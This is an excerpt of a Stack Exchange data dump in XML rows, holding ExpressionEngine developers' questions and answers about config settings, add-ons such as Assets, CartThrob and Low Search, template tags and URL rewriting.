  <row Id="5024" PostTypeId="2" ParentId="5015" CreationDate="2013-01-18T00:10:17.233" Score="1" Body="&lt;p&gt;That SQL code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data&#xA;SET field_id_XX = CONCAT('{filedir_YY}', field_id_XX)&#xA;WHERE field_id_XX != ''&#xA;AND field_id_XX NOT LIKE '{filedir_%' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should work but there may be instances also where you need to manually go into the exp_ff_fieldtypes table and change the nGen instance to 'file' and the same thing for exp_channel_fields&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-18T00:10:17.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5025" PostTypeId="1" CreationDate="2013-01-18T00:36:24.347" Score="2" ViewCount="160" Body="&lt;p&gt;I am having a tough time getting &quot;is_system_on&quot; to work right in production. In the &quot;General Config&quot; page in the CP, neither the &quot;yes&quot; or &quot;no&quot; radio buttons are set. When I select one and click submit, they go blank again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 'config.php', I am seeing something like the following, with multiple &quot;is_system_on&quot; settings which looks suspicious. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = &quot;253&quot;;&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['license_number'] = &quot;xxxx-xxxx-xxxx-xxxx&quot;;&#xA;$config['debug'] = &quot;1&quot;;&#xA;$config['cp_url'] = &quot;http://local.site.com/admin/index.php&quot;;&#xA;$config['doc_url'] = &quot;http://expressionengine.com/user_guide/&quot;;&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;$config['allow_extensions'] = 'y';&#xA;$config['site_label'] = 'My Site';&#xA;$config['cookie_prefix'] = '';&#xA;$config['is_system_on'] = &quot;n&quot;;&#xA;$config['is_system_on'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My config.php file is writeable (obviously, since the extra entries are showing up). I am using the focus labs config stuff, but removed the line hard-coding the is_system_on variable. &lt;/p&gt;&#xA;" OwnerUserId="17" LastEditorUserId="17" LastEditDate="2013-01-18T00:45:25.160" LastActivityDate="2013-01-21T11:37:08.043" Title="&quot;is_system_on&quot; problem" Tags="|control-panel|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5026" PostTypeId="2" ParentId="5025" CreationDate="2013-01-18T00:45:10.640" Score="0" Body="&lt;p&gt;The config var is being set 3 times. That said, based on that, the radio button should be showing as 'no' within the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine in production (unless you're just about to put the site live and don't want anyone other than super admins accessing) you want to remove all but 1 instance of the variable, and set it to 'y'.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-18T00:45:10.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5027" PostTypeId="2" ParentId="4868" CreationDate="2013-01-18T00:59:39.380" Score="6" Body="&lt;p&gt;Elaborating on what was mentioned in the comments of your lincolnpixel's answer, and to provide an &quot;official&quot; response to why it works this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to specify a default is to hard code it in your template. There are a couple ways to do this. You can either specify it in your checkout tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout payment_method=&quot;paypal_express&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Under the hood, this simply adds a hidden field to your template, so it's exactly the same as doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;payment_method&quot; value=&quot;paypal_express&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also template the input field however you like, such as a radio or select menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment_method&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;paypal_express&quot; selected&amp;gt;Paypal&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;manual&quot;&amp;gt;Manual&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{payment_method_options}&lt;/code&gt; variable is really only a helper, and is by no means required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason we implemented it this way is simple: when we designed Store, we took a step back and thought about how ecommerce should work &lt;em&gt;in an ExpressionEngine context&lt;/em&gt;. Most ecommerce systems let you set up things like default payment methods (and drag and drop reordering of payment methods) because you are using off-the-shelf templates, which cater to users who don't like to get their hands dirty with HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since with EE you are already coding the HTML from scratch, it seemed like a waste of time having to tell yourself what the default payment method is in the back end, then provide a bunch of template tags which let you display the default payment method you just configured. To ExpressionEngine developers it feels much more natural just to specify how things should work in the template (just as you do with a contact form, where you specify the destination email address in the template, and most other plugins have examples like this too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most sites only have a single payment method, so hard coding it in the template (alongside the fields required for that payment method, when you take credit cards directly on your site) makes the most sense for that scenario. When multiple payment methods are available, it's often nice to use radio buttons and display a logo next to each one, which would require extra template code anyway, so &lt;code&gt;{payment_method_options}&lt;/code&gt; isn't very useful there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; In most cases you will should hard code your &lt;code&gt;payment_method&lt;/code&gt; select/radio/hidden field directly in your template. The &lt;code&gt;{payment_method_options}&lt;/code&gt; variable is only a helper, and is certainly not intended to be the only way to display payment methods to your customers.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-18T00:59:39.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5028" PostTypeId="1" AcceptedAnswerId="5030" CreationDate="2013-01-18T01:32:48.480" Score="2" ViewCount="201" Body="&lt;p&gt;New to P&amp;amp;T Assets, just got it today, v2.  Using a flat out blank template and the two examples from the site docs.  Scanned two directories of images that work in the normal file manager.  It appears the assets:files tag displays nothing.  assets:folders Folders display.  EE2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:folders folder=&quot;top&quot; recursive=&quot;yes&quot;}&#xA;    &amp;lt;h3&amp;gt;{folder_name}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:assets:files folder=&quot;{folder_id}&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot; target=&quot;_blank&quot;&amp;gt;{if title != &quot;&quot;}{title}{if:else}{filename}{/if}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:assets:files}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:assets:folders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shows:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Image&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Screenshots&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Should it show the list of files? &lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="268" LastEditDate="2013-01-21T08:40:28.447" LastActivityDate="2013-01-21T08:40:28.447" Title="Assets 2, no files displayed" Tags="|add-on|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5029" PostTypeId="2" ParentId="4954" CreationDate="2013-01-18T01:55:21.157" Score="0" Body="&lt;p&gt;If you find yourself in a situation where you cannot get mod_rewrite turned on, I have seen this used in .htaccess files (credits to Elliot Haughin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule !mod_rewrite.c&amp;gt;&#xA;    ErrorDocument 404 /index.php&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-01-18T01:55:21.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5030" PostTypeId="2" ParentId="5028" CreationDate="2013-01-18T03:13:12.103" Score="2" Body="&lt;p&gt;Have you indexed your upload directories according to the &lt;a href=&quot;http://pixelandtonic.com/assets/docs&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Assets docs&lt;/strong&gt;&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;&lt;strong&gt;Assets won’t actually show any files until you’ve indexed your upload&#xA;  directories. You can do that from Add-Ons → Modules → Update Indexes.&lt;/em&gt;&lt;/strong&gt;&#xA;  The initial indexing might take some time, depending on how many files&#xA;  you have. However future indexes should go much quicker, since Assets&#xA;  will only have to index what’s changed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can also re-index an individual folder by clicking the “Refresh”&#xA;  button at the top-right of Assets’ file manager, or from its&#xA;  fieldtype’s file selection modal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-18T06:03:39.637" LastActivityDate="2013-01-18T06:03:39.637" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5031" PostTypeId="2" ParentId="5007" CreationDate="2013-01-18T03:39:14.977" Score="1" Body="&lt;p&gt;Playa can only be used to create relationships between entries that actually exist in the EE database.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-18T03:39:14.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5032" PostTypeId="1" AcceptedAnswerId="5037" CreationDate="2013-01-18T03:56:43.343" Score="2" ViewCount="146" Body="&lt;p&gt;I have a low search form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;test&quot; secure=&quot;no&quot; search_mode=&quot;any&quot; result_page=&quot;results/page&quot;}&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;keyword&quot; /&amp;gt;&#xA;    &amp;lt;select name=&quot;search:my_field&quot; id=&quot;my_field&quot;&amp;gt;&#xA;        &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;foo&quot;&amp;gt;foo&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;foo bar&quot;&amp;gt;foo bar&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have two entries in the test channel. One of them has the my_field value &quot;foo&quot; and the other one has &quot;foo bar&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I choose &quot;foo&quot;, I get both entries.&#xA;When I choose &quot;foo bar&quot;, I get one entry(the one whose my_field value is &quot;foo bar&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that this is caused by the param search_mode=&quot;any&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make my_field use exact text search while still retaining full text search for the rest of the form?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-18T08:43:07.513" Title="Low Search - Question about search mode behaviour" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5033" PostTypeId="1" CreationDate="2013-01-18T04:28:19.707" Score="2" ViewCount="302" Body="&lt;p&gt;When someone checkouts with CartThrob a new member is added to the member_profiles channel using Profile:Edit. However, not all the information is coming across to the member entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At checkout all the customer_info is there in the CT debugger (http://cl.ly/MG0q).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use this on checkout.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form&#xA;create_user=&quot;yes&quot;&#xA;group_id=&quot;5&quot;&#xA;class=&quot;form&quot;&#xA;error_handling=&quot;inline&quot;&#xA;return=&quot;membership/order_info&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when the transaction finalises most of the customer_info resets to 0 except for the {phone} field. And that’s what ends up in the ‘Member Profile’ channel too. (http://cl.ly/MEed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the correct customer info from the join.php is in the ‘order’ channel but the member_profiles channel only has the email and phone fields. We have the member fields mapped correctly in CT and are telling it to use Profile:Edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our full add to cart/save customer info form, join.php, is here &lt;a href=&quot;http://pastebin.com/wJi4QeHM&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/wJi4QeHM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&#xA;CT 2.2.2&#xA;Profile:Edit 1.0.8&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2013-01-21T02:32:44.470" LastActivityDate="2013-10-10T11:15:59.670" Title="CartThrob Not Saving Custom Member Data to Profile:Edit" Tags="|members|cartthrob|member-details|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5034" PostTypeId="1" CreationDate="2013-01-18T05:43:26.760" Score="2" ViewCount="1237" Body="&lt;p&gt;If I add an item to the Main Menu in the control panel how can I make this layout visible to all users?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-01-18T15:30:02.810" Title="Adding menu items to Main Menu for all users" Tags="|control-panel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5035" PostTypeId="1" AcceptedAnswerId="9175" CreationDate="2013-01-18T06:30:30.293" Score="2" ViewCount="168" Body="&lt;p&gt;After getting files properly indexed on the backend, how can they be displayed through a template on the front-end using the two assets:folders and assets:files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the file structure looks like this on the server:&lt;br /&gt;&#xA;Folder A &lt;br /&gt;&#xA;- file1 &lt;br /&gt;&#xA;- file2 &lt;br /&gt;&#xA;- Folder B &lt;br /&gt;&#xA;-- file3 &lt;br /&gt;&#xA;-- file4 &lt;br /&gt;&#xA;--- Folder C &lt;br /&gt;&#xA;---- file5 &lt;br /&gt;&#xA;---- file6 &lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and was indexed with Assets, using their tags how could I display that in an unordered nested list?  Th example on their site with folders and files is close, but isn't nested.  The end goal is a browsable download page with EE goodness.  If not, is there a better way with navigation, maybe like their backend?&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2013-04-10T08:16:21.373" Title="Assets - How to show file hierarchy" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5036" PostTypeId="1" CreationDate="2013-01-18T07:36:30.223" Score="2" ViewCount="64" Body="&lt;p&gt;I'd like to be able to use an if statement to determine what to show based on the amount of results from the if statement in a reverse related entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an actor has two stage names, list the two stage names using the EE loop. But if the stage name fields in the entries match the actors name , show the 'No other stage names' text and not list the actors name again as I'm using it elsewhere on the page. &#xA;I am trying the code below, but not working...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {reverse_related_entries channel=&quot;play&quot;}&#xA;                            {if stage_name != actor_name OR if stage_name !=&quot;&quot; }&#xA;                            {stage_name}&#xA;                            {if count &amp;lt;1}&#xA;                            No other stage names&#xA;                            {/if}&#xA;                            {/if}&#xA;                        {/reverse_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!    &lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2013-01-18T12:16:51.007" Title="Can we count an if result and change the resulting text?" Tags="|advanced-conditionals|reverse-related-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5037" PostTypeId="2" ParentId="5032" CreationDate="2013-01-18T08:43:07.513" Score="1" Body="&lt;p&gt;You're getting keyword searches and the &lt;code&gt;search:my_field&lt;/code&gt; parameter mixed up. The &lt;code&gt;search_mode&lt;/code&gt; parameter &lt;strong&gt;only&lt;/strong&gt; applies to &lt;strong&gt;keywords&lt;/strong&gt;. The keywords are used to search the index using full text (if applicable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;search:my_field&lt;/code&gt; input fields you're using is identical to setting the channel:entries parameter and will filter results &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;as described in the EE docs&lt;/a&gt;. This is native filtering and therefore &lt;em&gt;doesn't&lt;/em&gt; use full text. You &lt;em&gt;can&lt;/em&gt; use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#exact-matching&quot; rel=&quot;nofollow&quot;&gt;exact matching syntax&lt;/a&gt; in your &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; by prefixing the values with a &lt;code&gt;=&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;search:my_field&quot; id=&quot;my_field&quot;&amp;gt;&#xA;    &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;=foo&quot;&amp;gt;foo&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;=foo bar&quot;&amp;gt;foo bar&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-18T08:43:07.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5038" PostTypeId="2" ParentId="5036" CreationDate="2013-01-18T09:35:34.907" Score="2" Body="&lt;p&gt;Have you tried using the {if no_reverse_related_entries} conditional &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#reverse-related-entries-tag-pair&quot; rel=&quot;nofollow&quot;&gt;mentioned in the user guide&lt;/a&gt;? You also seem to have a typo in your conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you try this and see if it works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{reverse_related_entries channel=&quot;play&quot;}&#xA;    {if stage_name != actor_name OR stage_name != &quot;&quot;}&#xA;        {stage_name}&#xA;    {/if}&#xA;&#xA;    {if no_reverse_related_entries}&#xA;        No other stage names&#xA;    {/if}&#xA;{/reverse_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-18T12:16:51.007" LastActivityDate="2013-01-18T12:16:51.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5039" PostTypeId="1" AcceptedAnswerId="5076" CreationDate="2013-01-18T10:57:43.033" Score="2" ViewCount="10580" Body="&lt;p&gt;Does anyone have experience doing this on a windows server, running IIS7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got access to the IIS manager, and the URL Rewrite module, but how to setup the rewrite rules, and how should the patterns look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive tried this example, but the auto-generated examples of public url's are no good&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.iis.net/learn/extensions/url-rewrite-module/user-friendly-url-rule-template&quot; rel=&quot;nofollow&quot;&gt;http://www.iis.net/learn/extensions/url-rewrite-module/user-friendly-url-rule-template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When inputting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/index.php/url-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i only get this option for public url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/index&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No good :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i need to make a blank rule, but have no clue how to create the pattern.&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2014-12-17T03:27:58.693" Title="url rewrite / removing index.php on IIS 7" Tags="|url|htaccess|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5040" PostTypeId="1" AcceptedAnswerId="5043" CreationDate="2013-01-18T11:04:20.950" Score="2" ViewCount="269" Body="&lt;p&gt;I'm using Export It to export CartThrob orders channel data, and import in to another site using DataGrab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When importing the orders channel with DataGrab one of Custom Fields is &quot;Order Items&quot; (which is a CartThrob Order Items field type). However, the corresponding custom fields options in the &quot;Value&quot; column are individually listed like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;order_items/product_title - eg, Waiting Here For You&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_quantity - eg, 1&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_price - eg, 0.00&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_price_plus_tax - eg, 0&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_weight - eg, 0&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_shipping - eg, 0&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_no_tax - eg, 1&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_no_shipping - eg, 1&lt;/li&gt;&#xA;&lt;li&gt;order_items/product_extra - eg,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I need to assign all these values to the single Order Items field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="820" LastEditorUserId="820" LastEditDate="2013-01-18T11:09:48.753" LastActivityDate="2013-01-18T11:39:38.577" Title="Importing Cartthrob Orders Data with DataGrab" Tags="|cartthrob|import|export|datagrab|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5041" PostTypeId="2" ParentId="5040" CreationDate="2013-01-18T11:23:42.503" Score="0" Body="&lt;p&gt;Are you moving data from CartThrob 1 to CartThrob 2 installation? If so, I'd suggest you using CartThrob Updater (should be available for download in your cartthrob.com account, if it's not - contact the developers)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-18T11:23:42.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5042" PostTypeId="2" ParentId="4935" CreationDate="2013-01-18T11:26:12.923" Score="0" Body="&lt;p&gt;there was a bug in how Assets was fetching data in this specific instance. Next release will fix this. (Credit goes to Low, by the way)&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-18T11:26:12.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5043" PostTypeId="2" ParentId="5040" CreationDate="2013-01-18T11:39:38.577" Score="2" Body="&lt;p&gt;DataGrab does not currently support importing into the CartThrob Order Items field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party field type support often needs to be added individually to DataGrab (as you've noticed in this case you need to add several values into a single field, so it needs its own interface to configure the import). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to support the most common field types and those where there is enough demand. It should not be too hard to add simple support for this, though. Can you contact me on support@brandnewbox.co.uk and I'll see what I can do?&lt;/p&gt;&#xA;" OwnerUserId="253" LastActivityDate="2013-01-18T11:39:38.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5044" PostTypeId="1" CreationDate="2013-01-18T11:51:41.987" Score="2" ViewCount="326" Body="&lt;p&gt;is it true that assets 2 does not support image manipulations anymore? &#xA;I just had a hard time debugging a site after updating to assets 2. &#xA;I'm on EE 2.5.5 and assets 2.0.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it was one of my favorite things in assets 1.x... and I cannot find it in the docs anymore! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;at least the following is not working anymore: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_field}&#xA;    {matrix_cell_assets_fieldtype:url:image_manipulation}&#xA;{/my_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this still works: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_field}&#xA;    {matrix_cell_assets_fieldtype:url}&#xA;{/my_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am on matrix 2.4.2 and I cannot update to the latest version because of some other bug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-01-18T12:02:12.510" Title="image manipulation with assets 2" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5045" PostTypeId="2" ParentId="5044" CreationDate="2013-01-18T12:02:12.510" Score="4" Body="&lt;p&gt;After debugging the matrix update from 2.4.2 to 2.5.2 it all began to work again. &#xA;so image manipulations are still supported with assets 2.0.2, it's just not in the docs yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: this thread helped a lot: &#xA;&lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/matrix_2_5_upgrade_error&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/matrix_2_5_upgrade_error&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-01-18T12:02:12.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5046" PostTypeId="1" CreationDate="2013-01-18T12:04:15.420" Score="3" ViewCount="214" Body="&lt;p&gt;I've built a site for a client that has a section which displays a number of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each entry there is a thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently 50 entries, and for just two of those entries the website is displaying the wrong thumbnails. All others are working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the brilliant CE Image plugin to display my images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried clearing my browser's cache, EE's cache AND deleting the contents of my 'images/made/images/remote' directory, but it's still displaying the wrong images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-01-28T09:58:01.790" Title="Website using old images... is this a cache issue?" Tags="|ce-image|image|cache|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="5047" PostTypeId="1" CreationDate="2013-01-18T12:21:54.157" Score="3" ViewCount="308" Body="&lt;p&gt;I'm using a safecracker form to edit a channel entry. I needed checkboxes to display which categories were assigned to the entry. I've achieved this using the code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:safecracker channel=&quot;projects&quot;  entry_id=&quot;{segment_3}&quot;   return=&quot;/projects/detail/{segment_3}&quot;}&#xA;                       {categories group_id=&quot;4&quot;}&#xA;&#xA; &amp;lt;p&amp;gt; &amp;lt;label for=&quot;{category_name}&quot;&amp;gt;{category_name}&amp;lt;/label&amp;gt;&#xA;  &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;{category_name}&quot; value=&quot;{category_id}&quot;{checked}&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;       {/categories}&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here comes my problem. I need them to display in multiple columns, not just one long list - originally I was using exp:channel tags with show=&quot;&quot; to display some of the categories and then repeating it in another div with the rest of the categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;{exp:channel:categories channel=&quot;projects&quot; category_group=&quot;4&quot; show=&quot;14|15|16|17|18&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;{exp:channel:categories channel=&quot;projects&quot; category_group=&quot;4&quot; show=&quot;19|20|21|22|23|24&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the page only remembers the checked categories if I use {categories} instead of {exp:categories}. The documentation says I can still use {categories show=&quot;14|15|etc&quot;} but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have any ideas of what I'm doing wrong? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="815" LastActivityDate="2013-01-18T19:12:33.623" Title="Displaying categories in multiple columns" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
